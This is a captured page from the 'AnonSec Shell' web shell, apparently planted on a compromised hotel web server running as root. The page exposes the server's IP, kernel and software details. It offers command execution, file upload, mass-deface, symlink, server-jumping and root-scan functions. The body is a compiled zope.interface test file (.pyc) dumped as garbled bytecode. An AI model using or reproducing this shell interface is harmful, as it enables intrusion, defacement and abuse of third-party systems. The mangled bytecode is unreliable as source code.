AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/interface/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/interface/tests/__pycache__/test_verify.cpython-310.pyc
o

$
x`�J�@s@dZddlZGdd�dej�ZGdd�de�ZGdd�d�ZdS)	z" zope.interface.verify unit tests
�Nc@s4eZdZdZdd�Zedd��Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Z d:d;�Z!d<d=�Z"d>d?�Z#d@dA�Z$dBdC�Z%dDdE�Z&dFdG�Z'dHdI�Z(dS)J�Test_verifyClassNcCs|��|_dS�N)�_get_FUT�verifier��self�r�B/usr/lib/python3/dist-packages/zope/interface/tests/test_verify.py�setUpszTest_verifyClass.setUpcC�ddlm}|S)Nr)�verifyClass)�zope.interface.verifyr)�clsrrrr	r�zTest_verifyClass._get_FUTcCs|Srr)r�xrrr	�<lambda> �zTest_verifyClass.<lambda>cKs|j||�|�fi|��Sr)r�_adjust_object_before_verify)r�iface�klass�kwargsrrr	�_callFUT"s
��zTest_verifyClass._callFUTcCsNddlm}ddlm}Gdd�d|�}Gdd�dt�}|�||j||�dS)Nr��	Interface��DoesNotImplementc@�eZdZdS)z>Test_verifyClass.test_class_doesnt_implement.<locals>.ICurrentN��__name__�
__module__�__qualname__rrrr	�ICurrent+�r!c@r)z=Test_verifyClass.test_class_doesnt_implement.<locals>.CurrentNrrrrr	�Current.r"r#)�zope.interfacer�zope.interface.exceptionsr�object�assertRaisesr)rrrr!r#rrr	�test_class_doesnt_implement's
z,Test_verifyClass.test_class_doesnt_implementcCsRddlm}ddlm}Gdd�d|�}Gdd�dt�}|||�|�||�dS)Nrr��classImplementsc@r)zXTest_verifyClass.test_class_doesnt_implement_but_classImplements_later.<locals>.ICurrentNrrrrr	r!7r"r!c@r)zWTest_verifyClass.test_class_doesnt_implement_but_classImplements_later.<locals>.CurrentNrrrrr	r#:r"r#)r$rr*r&r)rrr*r!r#rrr	�5test_class_doesnt_implement_but_classImplements_later3s
zFTest_verifyClass.test_class_doesnt_implement_but_classImplements_latercC�bddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�dt��}|�||j||�dS)	Nrr��implementer��BrokenImplementationc@�eZdZdd�ZdS)zPTest_verifyClass.test_class_doesnt_have_required_method_simple.<locals>.ICurrentcS�dSrrrrrr	�methodG�zWTest_verifyClass.test_class_doesnt_have_required_method_simple.<locals>.ICurrent.methodN�rrr r3rrrr	r!F�r!c@r)zOTest_verifyClass.test_class_doesnt_have_required_method_simple.<locals>.CurrentNrrrrr	r#J�r#�r$rr.r%r0r&r'r�rrr.r0r!r#rrr	�-test_class_doesnt_have_required_method_simpleAs�z>Test_verifyClass.test_class_doesnt_have_required_method_simplecC�Pddlm}ddlm}Gdd�d|�}||�Gdd�dt��}|�||�dS)Nrrr-c@r1)zHTest_verifyClass.test_class_has_required_method_simple.<locals>.ICurrentcSr2rrrrrr	r3Vr4zOTest_verifyClass.test_class_has_required_method_simple.<locals>.ICurrent.methodNr5rrrr	r!Ur6r!c@r1)zGTest_verifyClass.test_class_has_required_method_simple.<locals>.CurrentcS�t��r��NotImplementedErrorrrrr	r3\�zNTest_verifyClass.test_class_has_required_method_simple.<locals>.Current.methodNr5rrrr	r#Y�r#�r$rr.r&r�rrr.r!r#rrr	�%test_class_has_required_method_simpleQsz6Test_verifyClass.test_class_has_required_method_simplecCsrddlm}ddlm}ddlm}Gdd�d|�}Gdd�d|�}||�Gd	d
�d
t��}|�||j||�dS)Nrrr-r/c@r1)zNTest_verifyClass.test_class_doesnt_have_required_method_derived.<locals>.IBasecSr2rrrrrr	r3gr4zUTest_verifyClass.test_class_doesnt_have_required_method_derived.<locals>.IBase.methodNr5rrrr	�IBasefr6rDc@r)zQTest_verifyClass.test_class_doesnt_have_required_method_derived.<locals>.IDerivedNrrrrr	�IDerivedjr"rEc@r)zPTest_verifyClass.test_class_doesnt_have_required_method_derived.<locals>.CurrentNrrrrr	r#mr7r#r8)rrr.r0rDrEr#rrr	�.test_class_doesnt_have_required_method_derivedas�z?Test_verifyClass.test_class_doesnt_have_required_method_derivedcCs`ddlm}ddlm}Gdd�d|�}Gdd�d|�}||�Gdd	�d	t��}|�||�dS)
Nrrr-c@r1)zFTest_verifyClass.test_class_has_required_method_derived.<locals>.IBasecSr2rrrrrr	r3yr4zMTest_verifyClass.test_class_has_required_method_derived.<locals>.IBase.methodNr5rrrr	rDxr6rDc@r)zITest_verifyClass.test_class_has_required_method_derived.<locals>.IDerivedNrrrrr	rE|r"rEc@r1)zHTest_verifyClass.test_class_has_required_method_derived.<locals>.CurrentcSr<rr=rrrr	r3�r?zOTest_verifyClass.test_class_has_required_method_derived.<locals>.Current.methodNr5rrrr	r#r@r#rA)rrr.rDrEr#rrr	�&test_class_has_required_method_derivedtsz7Test_verifyClass.test_class_has_required_method_derivedcCr;)Nrrr-c@r1)zKTest_verifyClass.test_method_takes_wrong_arg_names_but_OK.<locals>.ICurrentcSr2rr��arrr	r3�r4zRTest_verifyClass.test_method_takes_wrong_arg_names_but_OK.<locals>.ICurrent.methodNr5rrrr	r!��r!c@r1)zJTest_verifyClass.test_method_takes_wrong_arg_names_but_OK.<locals>.CurrentcSr<rr=)r�brrr	r3�r?zQTest_verifyClass.test_method_takes_wrong_arg_names_but_OK.<locals>.Current.methodNr5rrrr	r#�r@r#rArBrrr	�(test_method_takes_wrong_arg_names_but_OK�sz9Test_verifyClass.test_method_takes_wrong_arg_names_but_OKcCr,)	Nrrr-��BrokenMethodImplementationc@r1)zDTest_verifyClass.test_method_takes_not_enough_args.<locals>.ICurrentcSr2rrrHrrr	r3�r4zKTest_verifyClass.test_method_takes_not_enough_args.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)zCTest_verifyClass.test_method_takes_not_enough_args.<locals>.CurrentcSr<rr=rrrr	r3�r?zJTest_verifyClass.test_method_takes_not_enough_args.<locals>.Current.methodNr5rrrr	r#�r@r#�r$rr.r%rNr&r'r�rrr.rNr!r#rrr	�!test_method_takes_not_enough_args���z2Test_verifyClass.test_method_takes_not_enough_argscCr,)	Nrrr-rMc@r1)zLTest_verifyClass.test_method_doesnt_take_required_starargs.<locals>.ICurrentcWr2rr��argsrrr	r3�r4zSTest_verifyClass.test_method_doesnt_take_required_starargs.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)zKTest_verifyClass.test_method_doesnt_take_required_starargs.<locals>.CurrentcSr<rr=rrrr	r3�r?zRTest_verifyClass.test_method_doesnt_take_required_starargs.<locals>.Current.methodNr5rrrr	r#�r@r#rOrPrrr	�)test_method_doesnt_take_required_starargs�rRz:Test_verifyClass.test_method_doesnt_take_required_starargscCr,)	Nrrr-rMc@r1)zOTest_verifyClass.test_method_doesnt_take_required_only_kwargs.<locals>.ICurrentc[r2rr)�kwrrr	r3�r4zVTest_verifyClass.test_method_doesnt_take_required_only_kwargs.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)zNTest_verifyClass.test_method_doesnt_take_required_only_kwargs.<locals>.CurrentcSr<rr=rrrr	r3�r?zUTest_verifyClass.test_method_doesnt_take_required_only_kwargs.<locals>.Current.methodNr5rrrr	r#�r@r#rOrPrrr	�,test_method_doesnt_take_required_only_kwargs�rRz=Test_verifyClass.test_method_doesnt_take_required_only_kwargscCr,)	Nrrr-rMc@r1)z>Test_verifyClass.test_method_takes_extra_arg.<locals>.ICurrentcSr2rrrHrrr	r3�r4zETest_verifyClass.test_method_takes_extra_arg.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)z=Test_verifyClass.test_method_takes_extra_arg.<locals>.CurrentcSr<rr=�rrIrKrrr	r3�r?zDTest_verifyClass.test_method_takes_extra_arg.<locals>.Current.methodNr5rrrr	r#�r@r#rOrPrrr	�test_method_takes_extra_arg�rRz,Test_verifyClass.test_method_takes_extra_argcCr;)Nrrr-c@r1)zKTest_verifyClass.test_method_takes_extra_arg_with_default.<locals>.ICurrentcSr2rrrHrrr	r3�r4zRTest_verifyClass.test_method_takes_extra_arg_with_default.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@seZdZddd�ZdS)zJTest_verifyClass.test_method_takes_extra_arg_with_default.<locals>.CurrentNcSr<rr=rXrrr	r3�r?zQTest_verifyClass.test_method_takes_extra_arg_with_default.<locals>.Current.methodrr5rrrr	r#�sr#rArBrrr	�(test_method_takes_extra_arg_with_default��z9Test_verifyClass.test_method_takes_extra_arg_with_defaultcCr;)Nrrr-c@r1)zITest_verifyClass.test_method_takes_only_positional_args.<locals>.ICurrentcSr2rrrHrrr	r3�r4zPTest_verifyClass.test_method_takes_only_positional_args.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)zHTest_verifyClass.test_method_takes_only_positional_args.<locals>.CurrentcWr<rr=�rrTrrr	r3r?zOTest_verifyClass.test_method_takes_only_positional_args.<locals>.Current.methodNr5rrrr	r#�r@r#rArBrrr	�&test_method_takes_only_positional_args�r[z7Test_verifyClass.test_method_takes_only_positional_argscCr,)	Nrrr-rMc@r1)z@Test_verifyClass.test_method_takes_only_kwargs.<locals>.ICurrentcSr2rrrHrrr	r3r4zGTest_verifyClass.test_method_takes_only_kwargs.<locals>.ICurrent.methodNr5rrrr	r!rJr!c@r1)z?Test_verifyClass.test_method_takes_only_kwargs.<locals>.Currentc[r<rr=�rrVrrr	r3r?zFTest_verifyClass.test_method_takes_only_kwargs.<locals>.Current.methodNr5rrrr	r#r@r#rOrPrrr	�test_method_takes_only_kwargsrRz.Test_verifyClass.test_method_takes_only_kwargscCr;)Nrrr-c@r1)zCTest_verifyClass.test_method_takes_extra_starargs.<locals>.ICurrentcSr2rrrHrrr	r3 r4zJTest_verifyClass.test_method_takes_extra_starargs.<locals>.ICurrent.methodNr5rrrr	r!rJr!c@r1)zBTest_verifyClass.test_method_takes_extra_starargs.<locals>.CurrentcWr<rr=�rrIrTrrr	r3&r?zITest_verifyClass.test_method_takes_extra_starargs.<locals>.Current.methodNr5rrrr	r##r@r#rArBrrr	� test_method_takes_extra_starargsr[z1Test_verifyClass.test_method_takes_extra_starargscCr;)Nrrr-c@r1)zNTest_verifyClass.test_method_takes_extra_starargs_and_kwargs.<locals>.ICurrentcSr2rrrHrrr	r31r4zUTest_verifyClass.test_method_takes_extra_starargs_and_kwargs.<locals>.ICurrent.methodNr5rrrr	r!/rJr!c@r1)zMTest_verifyClass.test_method_takes_extra_starargs_and_kwargs.<locals>.Currentc_r<rr=)rrIrTrVrrr	r37r?zTTest_verifyClass.test_method_takes_extra_starargs_and_kwargs.<locals>.Current.methodNr5rrrr	r#4r@r#rArBrrr	�+test_method_takes_extra_starargs_and_kwargs+r[z<Test_verifyClass.test_method_takes_extra_starargs_and_kwargscCr,)	Nrrr-rMc@r1)z[Test_verifyClass.test_method_doesnt_take_required_positional_and_starargs.<locals>.ICurrentcWr2rr�rIrTrrr	r3Cr4zbTest_verifyClass.test_method_doesnt_take_required_positional_and_starargs.<locals>.ICurrent.methodNr5rrrr	r!ArJr!c@r1)zZTest_verifyClass.test_method_doesnt_take_required_positional_and_starargs.<locals>.CurrentcSr<rr=�rrIrrr	r3Ir?zaTest_verifyClass.test_method_doesnt_take_required_positional_and_starargs.<locals>.Current.methodNr5rrrr	r#Fr@r#rOrPrrr	�8test_method_doesnt_take_required_positional_and_starargs<rRzITest_verifyClass.test_method_doesnt_take_required_positional_and_starargscCr;)Nrrr-c@r1)zUTest_verifyClass.test_method_takes_required_positional_and_starargs.<locals>.ICurrentcWr2rrrcrrr	r3Ur4z\Test_verifyClass.test_method_takes_required_positional_and_starargs.<locals>.ICurrent.methodNr5rrrr	r!SrJr!c@r1)zTTest_verifyClass.test_method_takes_required_positional_and_starargs.<locals>.CurrentcWr<rr=r`rrr	r3[r?z[Test_verifyClass.test_method_takes_required_positional_and_starargs.<locals>.Current.methodNr5rrrr	r#Xr@r#rArBrrr	�2test_method_takes_required_positional_and_starargsOr[zCTest_verifyClass.test_method_takes_required_positional_and_starargscCr;)Nrrr-c@r1)zBTest_verifyClass.test_method_takes_only_starargs.<locals>.ICurrentcWr2rrrcrrr	r3fr4zITest_verifyClass.test_method_takes_only_starargs.<locals>.ICurrent.methodNr5rrrr	r!drJr!c@r1)zATest_verifyClass.test_method_takes_only_starargs.<locals>.CurrentcWr<rr=r\rrr	r3lr?zHTest_verifyClass.test_method_takes_only_starargs.<locals>.Current.methodNr5rrrr	r#ir@r#rArBrrr	�test_method_takes_only_starargs`r[z0Test_verifyClass.test_method_takes_only_starargscCr;)Nrrr-c@r1)zDTest_verifyClass.test_method_takes_required_kwargs.<locals>.ICurrentc[r2rr�rrrr	r3wr4zKTest_verifyClass.test_method_takes_required_kwargs.<locals>.ICurrent.methodNr5rrrr	r!urJr!c@r1)zCTest_verifyClass.test_method_takes_required_kwargs.<locals>.Currentc[r<rr=r^rrr	r3}r?zJTest_verifyClass.test_method_takes_required_kwargs.<locals>.Current.methodNr5rrrr	r#zr@r#rArBrrr	�!test_method_takes_required_kwargsqr[z2Test_verifyClass.test_method_takes_required_kwargscCr,)	Nrrr-rMc@r1)zVTest_verifyClass.test_method_takes_positional_plus_required_starargs.<locals>.ICurrentcWr2rrrSrrr	r3�r4z]Test_verifyClass.test_method_takes_positional_plus_required_starargs.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)zUTest_verifyClass.test_method_takes_positional_plus_required_starargs.<locals>.CurrentcWr<rr=r`rrr	r3�r?z\Test_verifyClass.test_method_takes_positional_plus_required_starargs.<locals>.Current.methodNr5rrrr	r#�r@r#rOrPrrr	�3test_method_takes_positional_plus_required_starargs�rRzDTest_verifyClass.test_method_takes_positional_plus_required_starargscCr,)	Nrrr-rMc@r1)zJTest_verifyClass.test_method_doesnt_take_required_kwargs.<locals>.ICurrentc[r2rrrhrrr	r3�r4zQTest_verifyClass.test_method_doesnt_take_required_kwargs.<locals>.ICurrent.methodNr5rrrr	r!�rJr!c@r1)zITest_verifyClass.test_method_doesnt_take_required_kwargs.<locals>.CurrentcSr<rr=rdrrr	r3�r?zPTest_verifyClass.test_method_doesnt_take_required_kwargs.<locals>.Current.methodNr5rrrr	r#�r@r#rOrPrrr	�'test_method_doesnt_take_required_kwargs�rRz8Test_verifyClass.test_method_doesnt_take_required_kwargsc�^ddlm�ddlm}ddlm}G�fdd�d|�}||�Gdd�d��}|�||�dS)	Nr��	Attributerr-c�eZdZ�d�ZdS)zGTest_verifyClass.test_class_has_method_for_iface_attr.<locals>.ICurrent�The foo AttributeN�rrr �attrrrmrr	r!�r6r!c@r1)zFTest_verifyClass.test_class_has_method_for_iface_attr.<locals>.CurrentcSr<rr=rrrr	rr�r?zKTest_verifyClass.test_class_has_method_for_iface_attr.<locals>.Current.attrNrqrrrr	r#�r@r#�r$rnrr.rrBrrmr	�$test_class_has_method_for_iface_attr�sz5Test_verifyClass.test_class_has_method_for_iface_attrcCs`ddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�d��}|�||j||�dS)	Nrrr-rMc@r1)zFTest_verifyClass.test_class_has_nonmethod_for_method.<locals>.ICurrentcSr2rrrrrr	r3�r4zMTest_verifyClass.test_class_has_nonmethod_for_method.<locals>.ICurrent.methodNr5rrrr	r!�r6r!c@�eZdZdZdS)zETest_verifyClass.test_class_has_nonmethod_for_method.<locals>.Current�Nr5rrrr	r#�sr#)r$rr.r%rNr'rrPrrr	�#test_class_has_nonmethod_for_method�s�z4Test_verifyClass.test_class_has_nonmethod_for_methodcrl)	Nrrmrr-cro)zITest_verifyClass.test_class_has_attribute_for_attribute.<locals>.ICurrentrpNrqrrmrr	r!�r6r!c@ru)zHTest_verifyClass.test_class_has_attribute_for_attribute.<locals>.CurrentrvNrqrrrr	r#�sr#rsrBrrmr	�&test_class_has_attribute_for_attribute�sz7Test_verifyClass.test_class_has_attribute_for_attributecrl)	Nrrmrr-cro)zLTest_verifyClass.test_class_misses_attribute_for_attribute.<locals>.ICurrentrpNrqrrmrr	r!�r6r!c@r)zKTest_verifyClass.test_class_misses_attribute_for_attribute.<locals>.CurrentNrrrrr	r#�r7r#rsrBrrmr	�)test_class_misses_attribute_for_attribute�sz:Test_verifyClass.test_class_misses_attribute_for_attributecs�ddlm}ddlm}ddlm}Gdd�d|��Gdd�dt��G�fd	d
�d
|�}||�G�fdd�d��}|�||�dS)
Nr)�Methodrr-c@r1)zETest_verifyClass.test_w_callable_non_func_method.<locals>.QuasiMethodc_r<rr=�rrTrVrrr	�__call__�r?zNTest_verifyClass.test_w_callable_non_func_method.<locals>.QuasiMethod.__call__N�rrr r|rrrr	�QuasiMethod�r6r~c@r1)zGTest_verifyClass.test_w_callable_non_func_method.<locals>.QuasiCallablec_r<rr=r{rrr	r|�r?zPTest_verifyClass.test_w_callable_non_func_method.<locals>.QuasiCallable.__call__Nr}rrrr	�
QuasiCallable�r6rcro)zBTest_verifyClass.test_w_callable_non_func_method.<locals>.ICurrentzThis is callableNrqr)r~rr	r!�r6r!cseZdZ��ZdS)zATest_verifyClass.test_w_callable_non_func_method.<locals>.CurrentNrqr)rrr	r#�s
r#)�zope.interface.interfacerzr$rr.r&r)rrzrr.r!r#r)rr~r	�test_w_callable_non_func_method�sz0Test_verifyClass.test_w_callable_non_func_methodcs\ddlm}ddlm}dd��Gdd�d|�}||�G�fdd	�d	t��}|�||�dS)
Nrrr-cst�fdd��S)Ncs
��|�Sr)�__get__r��funcrr	rs
zMTest_verifyClass.test_w_decorated_method.<locals>.decorator.<locals>.<lambda>)�propertyr�rr�r	�	decoratorsz;Test_verifyClass.test_w_decorated_method.<locals>.decoratorc@r1)z:Test_verifyClass.test_w_decorated_method.<locals>.ICurrentcSr2rrrHrrr	r3	r4zATest_verifyClass.test_w_decorated_method.<locals>.ICurrent.methodNr5rrrr	r!rJr!cseZdZ�dd��ZdS)z9Test_verifyClass.test_w_decorated_method.<locals>.CurrentcSr<rr=rdrrr	r3sz@Test_verifyClass.test_w_decorated_method.<locals>.Current.methodNr5r�r�rr	r#�r#rArBrr�r	�test_w_decorated_method�sz(Test_verifyClass.test_w_decorated_methodcC� ddlm}|j|tdd�dS)Nr)�IFullMappingT��	tentative)�zope.interface.common.mappingr�r�dict)rr�rrr	�test_dict_IFullMappingsz'Test_verifyClass.test_dict_IFullMappingcCr�)Nr)�	ISequenceTr�)�zope.interface.common.sequencer�r�list)rr�rrr	�test_list_ISequence�z$Test_verifyClass.test_list_ISequencecCr�)Nr)�
IReadSequenceTr�)r�r�r�tuple)rr�rrr	�test_tuple_IReadSequence$r�z)Test_verifyClass.test_tuple_IReadSequencec
Cs0ddlm}ddlm}ddlm}ddlm}ddlm}Gdd�d|�}Gd	d
�d
t�}|�|��}|�	||�Wd�n1sDwY|j
}	|�dt|	j
��|�|	j
d|�|�|	j
d|�|�|	j
d
|�|||�dd�|_|�|��|�	||�Wd�dS1s�wYdS)Nr)�MultipleInvalidrr/rr)c@seZdZdd�Zdd�ZdS)z?Test_verifyClass.test_multiple_invalid.<locals>.ISeveralMethodscS�dS)zMethod 1Nr��arg1rrr	�meth12rzETest_verifyClass.test_multiple_invalid.<locals>.ISeveralMethods.meth1cSr�)zMethod 2Nrr�rrr	�meth24rzETest_verifyClass.test_multiple_invalid.<locals>.ISeveralMethods.meth2N)rrr r�r�rrrr	�ISeveralMethods1sr�c@r)z>Test_verifyClass.test_multiple_invalid.<locals>.SeveralMethodsNrrrrr	�SeveralMethods7r"r��rv�cSr�)N�Hir)rr�rrr	rFrz8Test_verifyClass.test_multiple_invalid.<locals>.<lambda>)r%r�rr0r$rr*r&r'r�	exception�assertEqual�len�
exceptions�assertIsInstancer�)
rr�rr0rr*r�r��exc�exrrr	�test_multiple_invalid*s(�

"�z&Test_verifyClass.test_multiple_invalid))rrr rr
�classmethodrrrr(r+r:rCrFrGrLrQrUrWrYrZr]r_rarbrerfrgrirjrkrtrwrxryr�r�r�r�r�r�rrrr	rsN

rc@s@eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
S)�Test_verifyObjectcCr)Nr��verifyObject)r
r�)rr�rrr	rMrzTest_verifyObject._get_FUTcCst|ttt�f�r|�}|Sr)�
isinstance�type�OldSkool)r�targetrrr	rRsz.Test_verifyObject._adjust_object_before_verifycspddlm�ddlm}ddlm}ddlm}G�fdd�d|�}||�Gdd	�d	��}|�||j||�dS)
Nrrmrr-r/cro)zMTest_verifyObject.test_class_misses_attribute_for_attribute.<locals>.ICurrentrpNrqrrmrr	r!^r6r!c@r)zLTest_verifyObject.test_class_misses_attribute_for_attribute.<locals>.CurrentNrrrrr	r#ar7r#)r$rnrr.r%r0r'rr9rrmr	ryWs�z;Test_verifyObject.test_class_misses_attribute_for_attributecCs(ddlm}ddlm}|�||�dS)Nr)�IDummyModule��dummy)�zope.interface.tests.idummyr��zope.interface.testsr�r)rr�r�rrr	�test_module_hithsz!Test_verifyObject.test_module_hitcCsJddlm}ddlm}ddlm}Gdd�d|�}|�||j||�dS)Nrrr�rc@r)z8Test_verifyObject.test_module_miss.<locals>.IDummyModuleNrrrrr	r�tr"r�)r$rr�r�r%rr'r)rrr�rr�rrr	�test_module_missns�z"Test_verifyObject.test_module_misscCsZddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�dt��}|||�dS)	Nrr)�providerr�c@r1)z>Test_verifyObject.test_staticmethod_hit_on_class.<locals>.IFoocSr�)zThe bar methodNr�rIrKrrr	�bar�rzBTest_verifyObject.test_staticmethod_hit_on_class.<locals>.IFoo.barN)rrr r�rrrr	�IFoorJr�c@seZdZedd��ZdS)z=Test_verifyObject.test_staticmethod_hit_on_class.<locals>.FoocSstd��)NzWe're never actually called)�AssertionErrorr�rrr	r��szATest_verifyObject.test_staticmethod_hit_on_class.<locals>.Foo.barN)rrr �staticmethodr�rrrr	�Foo�r�r�)r$rr�r
r�r&)rrr�r�r�r�rrr	�test_staticmethod_hit_on_classzsz0Test_verifyObject.test_staticmethod_hit_on_classN)
rrr r�rrryr�r�r�rrrr	r�Ks
r�c@r)r�Nrrrrr	r��r"r�)�__doc__�unittest�TestCaserr�r�rrrr	�<module>s
;D

Anon7 - 2022
AnonSec Team